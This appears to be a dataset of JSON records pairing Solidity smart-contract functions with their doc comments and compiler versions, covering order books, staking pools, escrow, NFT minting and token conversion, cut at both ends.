tokens\r\n *@param _price uint256 price of all tokens in wei\r\n */", "function_code": "function list(address _tokenadd, uint256 _amount, uint256 _price) external {\r\n require(blacklist[msg.sender] == false);\r\n require(_price > 0);\r\n ERC20_Interface token = ERC20_Interface(_tokenadd);\r\n require(totalListed[msg.sender][_tokenadd] + _amount <= token.allowance(msg.sender,address(this)));\r\n if(forSale[_tokenadd].length == 0){\r\n forSale[_tokenadd].push(0);\r\n }\r\n forSaleIndex[order_nonce] = forSale[_tokenadd].length;\r\n forSale[_tokenadd].push(order_nonce);\r\n orders[order_nonce] = Order({\r\n maker: msg.sender,\r\n asset: _tokenadd,\r\n price: _price,\r\n amount:_amount\r\n });\r\n emit OrderPlaced(order_nonce,msg.sender,_tokenadd,_amount,_price);\r\n if(openBookIndex[_tokenadd] == 0 ){ \r\n openBookIndex[_tokenadd] = openBooks.length;\r\n openBooks.push(_tokenadd);\r\n }\r\n userOrderIndex[order_nonce] = userOrders[msg.sender].length;\r\n userOrders[msg.sender].push(order_nonce);\r\n totalListed[msg.sender][_tokenadd] += _amount;\r\n order_nonce += 1;\r\n }", "version": "0.4.24"} {"comment": "//Then you would have a mapping from an asset to its price/ quantity when you list it.", "function_code": "function listDda(address _asset, uint256 _amount, uint256 _price, bool _isLong) public onlyOwner() {\r\n require(blacklist[msg.sender] == false);\r\n ListAsset storage listing = listOfAssets[_asset];\r\n listing.price = _price;\r\n listing.amount= _amount;\r\n listing.isLong= _isLong;\r\n openDdaListIndex[_asset] = openDdaListAssets.length;\r\n openDdaListAssets.push(_asset);\r\n emit ListDDA(_asset,_amount,_price,_isLong);\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev list allows a DDA to remove asset \r\n *@param _asset address \r\n */", "function_code": "function unlistDda(address _asset) public onlyOwner() {\r\n require(blacklist[msg.sender] == false);\r\n uint256 indexToDelete;\r\n uint256 lastAcctIndex;\r\n address lastAdd;\r\n ListAsset storage listing = listOfAssets[_asset];\r\n listing.price = 0;\r\n listing.amount= 0;\r\n listing.isLong= false;\r\n indexToDelete = openDdaListIndex[_asset];\r\n lastAcctIndex = openDdaListAssets.length.sub(1);\r\n lastAdd = openDdaListAssets[lastAcctIndex];\r\n openDdaListAssets[indexToDelete]=lastAdd;\r\n openDdaListIndex[lastAdd]= indexToDelete;\r\n openDdaListAssets.length--;\r\n openDdaListIndex[_asset] = 0;\r\n emit UnlistDDA(_asset);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev buy allows a party to partially fill an order\r\n *@param _asset is the address of the assset listed\r\n *@param _amount is the amount of tokens to buy\r\n */", "function_code": "function buyPerUnit(address _asset, uint256 _amount) external payable {\r\n require(blacklist[msg.sender] == false);\r\n ListAsset storage listing = listOfAssets[_asset];\r\n require(_amount <= listing.amount);\r\n uint totalPrice = _amount.mul(listing.price);\r\n require(msg.value == totalPrice);\r\n ERC20_Interface token = ERC20_Interface(_asset);\r\n if(token.allowance(owner,address(this)) >= _amount){\r\n assert(token.transferFrom(owner,msg.sender, _amount));\r\n owner.transfer(totalPrice);\r\n listing.amount= listing.amount.sub(_amount);\r\n }\r\n emit BuyDDA(_asset,msg.sender,_amount,totalPrice);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev buy allows a party to fill an order\r\n *@param _orderId is the uint256 ID of order\r\n */", "function_code": "function buy(uint256 _orderId) external payable {\r\n Order memory _order = orders[_orderId];\r\n require(_order.price != 0 && _order.maker != address(0) && _order.asset != address(0) && _order.amount != 0);\r\n require(msg.value == _order.price);\r\n require(blacklist[msg.sender] == false);\r\n address maker = _order.maker;\r\n ERC20_Interface token = ERC20_Interface(_order.asset);\r\n if(token.allowance(_order.maker,address(this)) >= _order.amount){\r\n assert(token.transferFrom(_order.maker,msg.sender, _order.amount));\r\n maker.transfer(_order.price);\r\n }\r\n unLister(_orderId,_order);\r\n emit Sale(_orderId,msg.sender,_order.asset,_order.amount,_order.price);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev An internal function to update mappings when an order is removed from the book\r\n *@param _orderId is the uint256 ID of order\r\n *@param _order is the struct containing the details of the order\r\n */", "function_code": "function unLister(uint256 _orderId, Order _order) internal{\r\n uint256 tokenIndex;\r\n uint256 lastTokenIndex;\r\n address lastAdd;\r\n uint256 lastToken;\r\n totalListed[_order.maker][_order.asset] -= _order.amount;\r\n if(forSale[_order.asset].length == 2){\r\n tokenIndex = openBookIndex[_order.asset];\r\n lastTokenIndex = openBooks.length.sub(1);\r\n lastAdd = openBooks[lastTokenIndex];\r\n openBooks[tokenIndex] = lastAdd;\r\n openBookIndex[lastAdd] = tokenIndex;\r\n openBooks.length--;\r\n openBookIndex[_order.asset] = 0;\r\n forSale[_order.asset].length -= 2;\r\n }\r\n else{\r\n tokenIndex = forSaleIndex[_orderId];\r\n lastTokenIndex = forSale[_order.asset].length.sub(1);\r\n lastToken = forSale[_order.asset][lastTokenIndex];\r\n forSale[_order.asset][tokenIndex] = lastToken;\r\n forSaleIndex[lastToken] = tokenIndex;\r\n forSale[_order.asset].length--;\r\n }\r\n forSaleIndex[_orderId] = 0;\r\n orders[_orderId] = Order({\r\n maker: address(0),\r\n price: 0,\r\n amount:0,\r\n asset: address(0)\r\n });\r\n if(userOrders[_order.maker].length > 1){\r\n tokenIndex = userOrderIndex[_orderId];\r\n lastTokenIndex = userOrders[_order.maker].length.sub(1);\r\n lastToken = userOrders[_order.maker][lastTokenIndex];\r\n userOrders[_order.maker][tokenIndex] = lastToken;\r\n userOrderIndex[lastToken] = tokenIndex;\r\n }\r\n userOrders[_order.maker].length--;\r\n userOrderIndex[_orderId] = 0;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Lets a user join DAOcare through depositing\n/// @param amount the user wants to deposit into the DAOcare pool", "function_code": "function deposit(uint256 amount)\r\n external\r\n hasNotEmergencyVoted\r\n allowanceAvailable(amount)\r\n requiredDai(amount)\r\n stableState\r\n {\r\n // NOTE: if the user adds a deposit they won't be able to vote in that iteration\r\n _depositFunds(amount);\r\n noLossDaoContract.noLossDeposit(msg.sender);\r\n emit DepositAdded(msg.sender, amount);\r\n }", "version": "0.6.10"} {"comment": "/// @dev Lets a user withdraw some of their amount\n/// Checks they have not voted", "function_code": "function withdrawDeposit(uint256 amount)\r\n external\r\n // If this user has voted to call an emergancy, they cannot do a partial withdrawal\r\n hasNotEmergencyVoted\r\n validAmountToWithdraw(amount) // not trying to withdraw full amount (eg. amount is less than the total)\r\n userHasNotVotedThisIterationAndIsNotProposal // checks they have not voted\r\n {\r\n _withdrawFunds(amount);\r\n emit PartialDepositWithdrawn(msg.sender, amount);\r\n }", "version": "0.6.10"} {"comment": "/// @dev Internal function splitting and sending the accrued interest between winners.\n/// @param receivers An array of the addresses to split between\n/// @param percentages the respective percentage to split\n/// @param winner The person who will recieve this distribution\n/// @param iteration the iteration of the dao\n/// @param totalInterestFromIteration Total interest that should be split to relevant parties\n/// @param tokenContract will be aDai or Dai (depending on try catch in distributeInterst - `redeem`)", "function_code": "function _distribute(\r\n address[] calldata receivers,\r\n uint256[] calldata percentages,\r\n address winner,\r\n uint256 iteration,\r\n uint256 totalInterestFromIteration,\r\n address tokenContract\r\n ) internal {\r\n IERC20 payoutToken = IERC20(tokenContract);\r\n\r\n uint256 winnerPayout = totalInterestFromIteration;\r\n for (uint256 i = 0; i < receivers.length; i++) {\r\n uint256 amountToSend = totalInterestFromIteration.mul(percentages[i]).div(\r\n 1000\r\n );\r\n payoutToken.transfer(receivers[i], amountToSend);\r\n winnerPayout = winnerPayout.sub(amountToSend); //SafeMath prevents this going below 0\r\n emit InterestSent(receivers[i], amountToSend);\r\n }\r\n\r\n payoutToken.transfer(winner, winnerPayout);\r\n emit WinnerPayout(winner, winnerPayout, iteration);\r\n }", "version": "0.6.10"} {"comment": "/// @dev Tries to redeem aDai and send acrrued interest to winners. Falls back to Dai.\n/// @param receivers An array of the addresses to split between\n/// @param percentages the respective percentage to split\n/// @param winner address of the winning proposal\n/// @param iteration the iteration of the dao", "function_code": "function distributeInterest(\r\n address[] calldata receivers,\r\n uint256[] calldata percentages,\r\n address winner,\r\n uint256 iteration\r\n )\r\n external\r\n validInterestSplitInput(receivers, percentages)\r\n noLossDaoContractOnly\r\n {\r\n uint256 amountToRedeem = adaiContract.balanceOf(address(this)).sub(\r\n totalDepositedDai\r\n );\r\n try adaiContract.redeem(amountToRedeem) {\r\n _distribute(\r\n receivers,\r\n percentages,\r\n winner,\r\n iteration,\r\n amountToRedeem,\r\n address(daiContract)\r\n );\r\n } catch {\r\n _distribute(\r\n receivers,\r\n percentages,\r\n winner,\r\n iteration,\r\n amountToRedeem,\r\n address(adaiContract)\r\n );\r\n }\r\n }", "version": "0.6.10"} {"comment": "/// @dev Perform a buy order at the exchange\n/// @param data OrderData struct containing order values\n/// @param amountToGiveForOrder amount that should be spent on this order\n/// @return amountSpentOnOrder the amount that would be spent on the order\n/// @return amountReceivedFromOrder the amount that was received from this order", "function_code": "function performBuyOrder(\r\n OrderData data,\r\n uint256 amountToGiveForOrder\r\n )\r\n public\r\n payable\r\n whenNotPaused\r\n onlySelf\r\n returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)\r\n {\r\n amountSpentOnOrder = amountToGiveForOrder;\r\n exchange.deposit.value(amountToGiveForOrder)();\r\n uint256 amountToSpend = removeFee(amountToGiveForOrder);\r\n amountReceivedFromOrder = SafeMath.div(SafeMath.mul(amountToSpend, data.makerAmount), data.takerAmount);\r\n exchange.trade(data.takerToken, data.takerAmount, data.makerToken, data.makerAmount, data.expires, data.nonce, data.user, data.v, data.r, data.s, amountToSpend);\r\n /* logger.log(\"Performing TokenStore buy order arg2: amountSpentOnOrder, arg3: amountReceivedFromOrder\", amountSpentOnOrder, amountReceivedFromOrder); */\r\n exchange.withdrawToken(data.makerToken, amountReceivedFromOrder);\r\n if (!ERC20SafeTransfer.safeTransfer(data.makerToken, totlePrimary, amountReceivedFromOrder)){\r\n errorReporter.revertTx(\"Failed to transfer tokens to totle primary\");\r\n }\r\n\r\n }", "version": "0.4.25"} {"comment": "/// @notice payable fallback to block EOA sending eth\n/// @dev this should fail if an EOA (or contract with 0 bytecode size) tries to send ETH to this contract", "function_code": "function() public payable {\r\n // Check in here that the sender is a contract! (to stop accidents)\r\n uint256 size;\r\n address sender = msg.sender;\r\n assembly {\r\n size := extcodesize(sender)\r\n }\r\n require(size > 0);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Internal function to update the implementation of a specific proxied component of the protocol\n * - If there is no proxy registered in the given `id`, it creates the proxy setting `newAdress`\n * as implementation and calls the initialize() function on the proxy\n * - If there is already a proxy registered, it just updates the implementation to `newAddress` and\n * calls the initialize() function via upgradeToAndCall() in the proxy\n * @param id The id of the proxy to be updated\n * @param newAddress The address of the new implementation\n **/", "function_code": "function _updateImpl(bytes32 id, address newAddress) internal {\n address payable proxyAddress = payable(_addresses[id]);\n\n InitializableImmutableAdminUpgradeabilityProxy proxy =\n InitializableImmutableAdminUpgradeabilityProxy(proxyAddress);\n bytes memory params = abi.encodeWithSignature('initialize(address)', address(this));\n\n if (proxyAddress == address(0)) {\n proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this));\n proxy.initialize(newAddress, params);\n _addresses[id] = address(proxy);\n emit ProxyCreated(id, address(proxy));\n } else {\n proxy.upgradeToAndCall(newAddress, params);\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Set all the basic parameters. Must only be called by the owner.\n/// @param _priceFeed The new address of Price Oracle.\n/// @param _pair The new pair address.\n/// @param _company The new company address.\n/// @param _activateReward The new reward value in USD given to activator.\n/// @param _harvestFee The new harvest fee rate given to company.\n/// @param _liquidityProgressRate The new minimum rate required to increae the progress.\n/// @param _payAmount The new amount to be paid on entry.\n/// @param _jTestaAmount The new jTesta amount required to activate the progress function.", "function_code": "function setParem(\r\n address _priceFeed,\r\n address _pair,\r\n address _company,\r\n uint256 _activateReward,\r\n uint256 _harvestFee,\r\n uint256 _liquidityProgressRate,\r\n uint256 _payAmount,\r\n uint256 _jTestaAmount,\r\n uint256 _activateAtBlock,\r\n int _minProgressive,\r\n int _maxProgressive\r\n ) public onlyOwner {\r\n priceFeed = AggregatorV3Interface(_priceFeed);\r\n pair = IUniswapV2Pair(_pair);\r\n company = _company;\r\n activateReward = _activateReward;\r\n harvestFee = _harvestFee;\r\n liquidityProgressRate = _liquidityProgressRate;\r\n payAmount = _payAmount;\r\n jTestaAmount = _jTestaAmount;\r\n activateAtBlock = _activateAtBlock;\r\n minProgressive = _minProgressive;\r\n maxProgressive = _maxProgressive;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Return the latest price for ETH-USD.", "function_code": "function getLatestPrice() public view override returns (int) {\r\n ( , int price,, uint timeStamp, ) = priceFeed.latestRoundData();\r\n // If the round is not complete yet, timestamp is 0\r\n require(timeStamp > 0, \"Round not complete\");\r\n return price;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Return the amount of Testa wei rewarded if we are activate the progress function.", "function_code": "function getTestaReward() public view override returns (uint256) {\r\n ( uint112 _reserve0, uint112 _reserve1, ) = pair.getReserves();\r\n uint256 reserve = uint256(_reserve0).mul(1e18).div(uint256(_reserve1));\r\n uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10); // 1e8\r\n uint256 testaPerDollar = ethPerDollar.mul(1e18).div(reserve);\r\n \r\n uint256 _activateReward = activateReward.mul(1e18);\r\n uint256 testaAmount = _activateReward.mul(1e18).div(testaPerDollar);\r\n return testaAmount;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Return the amount of Testa wei to spend upon harvesting reward.", "function_code": "function getTestaFee(uint256 rewardETH) public view override returns (uint256) {\r\n (uint112 _reserve0, uint112 _reserve1, ) = pair.getReserves();\r\n uint256 reserve = uint256(_reserve0).mul(1e18).div(uint256(_reserve1));\r\n uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10); // 1e8\r\n uint256 testaPerDollar = ethPerDollar.mul(1e18).div(reserve);\r\n \r\n uint256 ethFee = harvestFee.mul(rewardETH).div(10000).mul(ethPerDollar);\r\n uint256 testaFee = ethFee.mul(1e18).div(testaPerDollar).div(1e18);\r\n return testaFee;\r\n }", "version": "0.6.12"} {"comment": "// Not entirely trustless but seems only way", "function_code": "function refundTokenPurchase(uint256 clanId, uint256 tokensAmount, uint256 reimbursement) external {\r\n require(msg.sender == owner);\r\n require(tokensAmount > 0);\r\n require(clans.exists(clanId));\r\n \r\n // Transfer tokens\r\n address tokenAddress = clans.clanToken(clanId);\r\n require(ERC20(tokenAddress).transferFrom(owner, address(clans), tokensAmount));\r\n \r\n // Reimburse purchaser\r\n require(reimbursement >= tokenPurchaseAllocation);\r\n tokenPurchaseAllocation -= reimbursement;\r\n owner.transfer(reimbursement);\r\n \r\n // Auditable log\r\n emit TokenPurchase(tokenAddress, tokensAmount, reimbursement);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev receive random number from chainlink\n * @notice random number will greater than zero\n */", "function_code": "function fulfillRandomness(bytes32 requestId, uint256 randomNumber)\n internal\n override\n {\n require(_requesting == true, \"not requesting\");\n require(requestId == _requestId, \"not my request\");\n _requesting = false;\n if (randomNumber > 0) seed = randomNumber;\n else seed = 1;\n emit TokenSeed(seed);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev query tokenURI of token Id\n * @dev before reveal will return default URI\n * @dev after reveal return token URI of this token on IPFS\n * @param tokenId The id of token you want to query\n */", "function_code": "function uri(uint256 tokenId)\n external\n view\n virtual\n override\n returns (string memory)\n {\n require(tokenId < nextIndex(), \"URI query for nonexistant token\");\n\n // before reveal, nobody know what happened. Return _blankURI\n if (seed == 0) {\n return blankURI;\n }\n\n // after reveal, you can know your know.\n return\n string(abi.encodePacked(baseMetadataURI, deterministic(tokenId)));\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Airdrop ether to a list of address\n * @param _to List of address\n * @param _value List of value\n */", "function_code": "function multiAirdrop(address[] calldata _to, uint256[] calldata _value)\n public\n onlyOwner\n returns (bool _success)\n {\n // input validation\n assert(_to.length == _value.length);\n assert(_to.length <= 255);\n\n // loop through to addresses and send value\n for (uint8 i = 0; i < _to.length; i++) {\n payable(_to[i]).transfer(_value[i]);\n }\n\n return true;\n }", "version": "0.6.12"} {"comment": "/**\r\n * the rate (how much tokens are given for 1 ether)\r\n * is calculated according to presale/sale period and the amount of ether\r\n */", "function_code": "function getRate() internal view returns (uint256) {\r\n uint256 calcRate = rate;\r\n //check if this sale is in presale period\r\n if (validPresalePurchase()) {\r\n calcRate = basicPresaleRate;\r\n }\r\n else {\r\n //if not validPresalePurchase() and not validPurchase() this function is not called\r\n // so no need to check validPurchase() again here\r\n uint256 daysPassed = (now - startTime) / 1 days;\r\n if (daysPassed < 15) {\r\n calcRate = 100 + (15 - daysPassed);\r\n }\r\n }\r\n calcRate = calcRate.mul(etherRate);\r\n return calcRate;\r\n }", "version": "0.4.19"} {"comment": "// @return true if the transaction can buy tokens in presale", "function_code": "function validPresalePurchase() internal constant returns (bool) {\r\n bool withinPeriod = now >= presaleStartTime && now <= presaleEndTime;\r\n bool nonZeroPurchase = msg.value != 0;\r\n bool validPresaleLimit = msg.value >= presaleLimit;\r\n return withinPeriod && nonZeroPurchase && validPresaleLimit;\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * @dev Returns URI for the {_tokenId} passed as parameter to the function.\r\n */", "function_code": "function uri(uint256 _tokenId)\r\n public\r\n view\r\n override\r\n returns (string memory)\r\n {\r\n uint256 id = _tokenId;\r\n bytes memory reversed = new bytes(100);\r\n uint256 i = 0;\r\n while (id != 0) {\r\n reversed[i++] = bytes1(\r\n uint8((id % 10) + 48)\r\n );\r\n id /= 10;\r\n }\r\n\r\n bytes memory ordered = new bytes(i);\r\n for (uint256 j = 0; j < i; j++) {\r\n ordered[j] = reversed[i - j - 1];\r\n }\r\n\r\n return string(\r\n abi.encodePacked(\r\n super.uri(_tokenId),\r\n string(ordered),\r\n \".json\"\r\n )\r\n );\r\n }", "version": "0.8.9"} {"comment": "// Swaps OHM for DAI, then mints new OHM and sends to distributor\n// uint _triggerDistributor - triggers staking distributor if == 1", "function_code": "function makeSale( uint _triggerDistributor ) external returns ( bool ) {\r\n require( salesEnabled, \"Sales are not enabled\" );\r\n require( block.number >= nextEpochBlock, \"Not next epoch\" );\r\n\r\n IERC20(OHM).approve( SUSHISWAP_ROUTER_ADDRESS, OHMToSell );\r\n sushiswapRouter.swapExactTokensForTokens( // Makes trade on sushi\r\n OHMToSell, \r\n minimumToReceive,\r\n getPathForOHMtoDAI(), \r\n address(this), \r\n block.timestamp + 15\r\n );\r\n \r\n uint daiBalance = IERC20(DAI).balanceOf(address(this) );\r\n IERC20( DAI ).approve( vault, daiBalance );\r\n IVault( vault ).depositReserves( daiBalance ); // Mint OHM\r\n\r\n uint OHMToTransfer = IERC20(OHM).balanceOf( address(this) ).sub( OHMToSellNextEpoch );\r\n uint transferToDAO = OHMToTransfer.div( DAOShare );\r\n\r\n IERC20(OHM).transfer( stakingDistributor, OHMToTransfer.sub( transferToDAO ) ); // Transfer to staking\r\n IERC20(OHM).transfer( DAO, transferToDAO ); // Transfer to DAO\r\n\r\n nextEpochBlock = nextEpochBlock.add( epochBlockLength );\r\n OHMToSell = OHMToSellNextEpoch;\r\n\r\n if ( _triggerDistributor == 1 ) { \r\n StakingDistributor( stakingDistributor ).distribute(); // Distribute epoch rebase\r\n }\r\n return true;\r\n }", "version": "0.7.4"} {"comment": "/// @notice Mint new NFT\n/// @dev Anyone can call this function", "function_code": "function mint(uint256 amount) external payable {\n require(totalSupply + amount <= MAX_SUPPLY, \"!OOS\"); // Out of stock\n\n if (totalSupply + amount <= 800) {\n require(amount == 1, \"!IA\"); // Invalid amount\n } else {\n require(amount > 0 && amount <= 20, \"!IA\");\n require(msg.value >= MINT_PRICE * amount, \"!NEETH\"); // Not enough ETH\n }\n\n for (uint256 i = 0; i < amount; i++) {\n // Mint user the NFT token\n uint256 tokenID = totalSupply + 1;\n _mint(msg.sender, tokenID);\n // Update total supply\n totalSupply = tokenID;\n }\n }", "version": "0.8.10"} {"comment": "/// @notice Mint new NFT to given address\n/// @notice This is free mint\n/// @dev only owner can call this function", "function_code": "function mintTo(address recipient, uint256 amount) external onlyOwner {\n require(totalSupply >= 801, \"!SNV\"); // Supply not valid\n require(totalSupply + amount <= MAX_SUPPLY, \"!OOS\"); // Out of stock\n\n for (uint256 i = 0; i < amount; i++) {\n // Mint user the NFT token\n uint256 tokenID = totalSupply + 1;\n _mint(recipient, tokenID);\n totalSupply = tokenID;\n }\n }", "version": "0.8.10"} {"comment": "/// @notice Send ETH inside the contract to multisig address", "function_code": "function withdraw() external {\n // Split amount\n (uint256 ten, uint256 ninety) = splitFee(address(this).balance);\n (bool success, ) = address(FEE_RECIPIENT_90).call{ value: ninety }(\"\");\n require(success, \"!FWF\");\n (success, ) = address(FEE_RECIPIENT_10).call{ value: ten }(\"\");\n require(success, \"!SWF\");\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Transfer token for a specified address\r\n * @param _token erc20 The address of the ERC20 contract\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the _value of tokens to be transferred\r\n * @return bool whether the transfer was successful or not\r\n */", "function_code": "function safeTransfer(IERC20 _token, address _to, uint256 _value) internal returns (bool) {\r\n uint256 prevBalance = _token.balanceOf(address(this));\r\n\r\n if (prevBalance < _value) {\r\n // Insufficient funds\r\n return false;\r\n }\r\n\r\n address(_token).call(\r\n abi.encodeWithSignature(\"transfer(address,uint256)\", _to, _value)\r\n );\r\n\r\n // Fail if the new balance its not equal than previous balance sub _value\r\n return prevBalance - _value == _token.balanceOf(address(this));\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice Withdraw the accumulated amount of the fee\r\n \r\n @dev Only the owner of the contract can send this transaction\r\n \r\n @param _token The address of the token to withdraw\r\n @param _to The address destination of the tokens\r\n @param _amount The amount to withdraw\r\n */", "function_code": "function emytoWithdraw(\r\n IERC20 _token,\r\n address _to,\r\n uint256 _amount\r\n ) external onlyOwner {\r\n require(_to != address(0), \"emytoWithdraw: The to address 0 its invalid\");\r\n\r\n emytoBalances[address(_token)] = emytoBalances[address(_token)].sub(_amount);\r\n\r\n require(\r\n _token.safeTransfer(_to, _amount),\r\n \"emytoWithdraw: Error transfer to emyto\"\r\n );\r\n\r\n emit EmytoWithdraw(_token, _to, _amount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice Calculate the escrow id\r\n \r\n @dev The id of the escrow its generate with keccak256 function using the parameters of the function\r\n \r\n @param _agent The agent address\r\n @param _depositant The depositant address\r\n @param _retreader The retreader address\r\n @param _fee The fee percentage(calculate in BASE), this fee will sent to the agent when the escrow is withdrawn\r\n @param _token The token address\r\n @param _salt An entropy value, used to generate the id\r\n \r\n @return The id of the escrow\r\n */", "function_code": "function calculateId(\r\n address _agent,\r\n address _depositant,\r\n address _retreader,\r\n uint256 _fee,\r\n IERC20 _token,\r\n uint256 _salt\r\n ) public view returns(bytes32) {\r\n return keccak256(\r\n abi.encodePacked(\r\n address(this),\r\n _agent,\r\n _depositant,\r\n _retreader,\r\n _fee,\r\n _token,\r\n _salt\r\n )\r\n );\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice Create an escrow, using the signature provided by the agent\r\n \r\n @dev The signature can will be cancel with cancelSignature function\r\n \r\n @param _agent The agent address\r\n @param _depositant The depositant address\r\n @param _retreader The retrea der address\r\n @param _fee The fee percentage(calculate in BASE), this fee will sent to the agent when the escrow is withdrawn\r\n @param _token The token address\r\n @param _salt An entropy value, used to generate the id\r\n @param _agentSignature The signature provided by the agent\r\n \r\n @return The id of the escrow\r\n */", "function_code": "function signedCreateEscrow(\r\n address _agent,\r\n address _depositant,\r\n address _retreader,\r\n uint256 _fee,\r\n IERC20 _token,\r\n uint256 _salt,\r\n bytes calldata _agentSignature\r\n ) external returns(bytes32 escrowId) {\r\n escrowId = _createEscrow(\r\n _agent,\r\n _depositant,\r\n _retreader,\r\n _fee,\r\n _token,\r\n _salt\r\n );\r\n\r\n require(!canceledSignatures[_agent][_agentSignature], \"signedCreateEscrow: The signature was canceled\");\r\n\r\n require(\r\n _agent == _ecrecovery(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", escrowId)), _agentSignature),\r\n \"signedCreateEscrow: Invalid agent signature\"\r\n );\r\n\r\n emit SignedCreateEscrow(escrowId, _agentSignature);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice Deposit an amount valuate in escrow token to an escrow\r\n \r\n @dev The depositant of the escrow should be the sender, previous need the approve of the ERC20 tokens\r\n \r\n @param _escrowId The id of the escrow\r\n @param _amount The amount to deposit in an escrow, with emyto fee amount\r\n */", "function_code": "function deposit(bytes32 _escrowId, uint256 _amount) external {\r\n Escrow storage escrow = escrows[_escrowId];\r\n require(msg.sender == escrow.depositant, \"deposit: The sender should be the depositant\");\r\n\r\n uint256 toEmyto = _feeAmount(_amount, emytoFee);\r\n\r\n // Transfer the tokens\r\n require(\r\n escrow.token.safeTransferFrom(msg.sender, address(this), _amount),\r\n \"deposit: Error deposit tokens\"\r\n );\r\n\r\n // Assign the fee amount to emyto\r\n emytoBalances[address(escrow.token)] += toEmyto;\r\n // Assign the deposit amount to the escrow, subtracting the fee emyto amount\r\n uint256 toEscrow = _amount.sub(toEmyto);\r\n escrow.balance += toEscrow;\r\n\r\n emit Deposit(_escrowId, toEscrow, toEmyto);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice Cancel an escrow and send the balance of the escrow to the depositant address\r\n \r\n @dev The sender should be the agent of the escrow\r\n The escrow will deleted\r\n \r\n @param _escrowId The id of the escrow\r\n */", "function_code": "function cancel(bytes32 _escrowId) external {\r\n Escrow storage escrow = escrows[_escrowId];\r\n require(msg.sender == escrow.agent, \"cancel: The sender should be the agent\");\r\n\r\n uint256 balance = escrow.balance;\r\n address depositant = escrow.depositant;\r\n IERC20 token = escrow.token;\r\n\r\n // Delete escrow\r\n delete escrows[_escrowId];\r\n\r\n // Send the tokens to the depositant if the escrow have balance\r\n if (balance != 0)\r\n require(\r\n token.safeTransfer(depositant, balance),\r\n \"cancel: Error transfer to the depositant\"\r\n );\r\n\r\n emit Cancel(_escrowId, balance);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice Withdraw an amount from an escrow and send to _to address\r\n \r\n @dev The sender should be the _approved or the agent of the escrow\r\n \r\n @param _escrowId The id of the escrow\r\n @param _approved The address of approved\r\n @param _to The address of gone the tokens\r\n @param _amount The base amount\r\n */", "function_code": "function _withdraw(\r\n bytes32 _escrowId,\r\n address _approved,\r\n address _to,\r\n uint256 _amount\r\n ) internal {\r\n Escrow storage escrow = escrows[_escrowId];\r\n require(msg.sender == _approved || msg.sender == escrow.agent, \"_withdraw: The sender should be the _approved or the agent\");\r\n\r\n // Calculate the fee\r\n uint256 toAgent = _feeAmount(_amount, escrow.fee);\r\n // Actualize escrow balance in storage\r\n escrow.balance = escrow.balance.sub(_amount);\r\n // Send fee to the agent\r\n require(\r\n escrow.token.safeTransfer(escrow.agent, toAgent),\r\n \"_withdraw: Error transfer tokens to the agent\"\r\n );\r\n // Substract the agent fee\r\n uint256 toAmount = _amount.sub(toAgent);\r\n // Send amount to the _to\r\n require(\r\n escrow.token.safeTransfer(_to, toAmount),\r\n \"_withdraw: Error transfer to the _to\"\r\n );\r\n\r\n emit Withdraw(_escrowId, msg.sender, _to, toAmount, toAgent);\r\n }", "version": "0.5.16"} {"comment": "/// @notice Claim one teji with whitelist proof.\n/// @param signature Whitelist proof signature.", "function_code": "function claimWhitelist(bytes memory signature) external {\r\n require(_currentIndex < 1000, \"Tejiverse: max supply exceeded\");\r\n require(saleState == 1, \"Tejiverse: whitelist sale is not open\");\r\n require(!_boughtPresale[msg.sender], \"Tejiverse: already claimed\");\r\n\r\n bytes32 digest = keccak256(abi.encodePacked(address(this), msg.sender));\r\n require(digest.toEthSignedMessageHash().recover(signature) == signer, \"Tejiverse: invalid signature\");\r\n\r\n _boughtPresale[msg.sender] = true;\r\n _safeMint(msg.sender, 1);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n @dev claims the caller's tokens, converts them to any other token in the standard network\r\n by following a predefined conversion path and transfers the result tokens to a target account\r\n note that allowance must be set beforehand\r\n \r\n @param _path conversion path, see conversion path format above\r\n @param _amount amount to convert from (in the initial source token)\r\n @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero\r\n @param _for account that will receive the conversion result\r\n \r\n @return tokens issued in return\r\n */", "function_code": "function claimAndConvertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public returns (uint256) {\r\n // we need to transfer the tokens from the caller to the converter before we follow\r\n // the conversion path, to allow it to execute the conversion on behalf of the caller\r\n // note: we assume we already have allowance\r\n IERC20Token fromToken = _path[0];\r\n assert(fromToken.transferFrom(msg.sender, this, _amount));\r\n return convertFor(_path, _amount, _minReturn, _for);\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't\r\n \r\n @param _token token to check the allowance in\r\n @param _spender approved address\r\n @param _value allowance amount\r\n */", "function_code": "function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private {\r\n // check if allowance for the given amount already exists\r\n if (_token.allowance(this, _spender) >= _value)\r\n return;\r\n\r\n // if the allowance is nonzero, must reset it to 0 first\r\n if (_token.allowance(this, _spender) != 0)\r\n assert(_token.approve(_spender, 0));\r\n\r\n // approve the new allowance\r\n assert(_token.approve(_spender, _value));\r\n }", "version": "0.4.16"} {"comment": 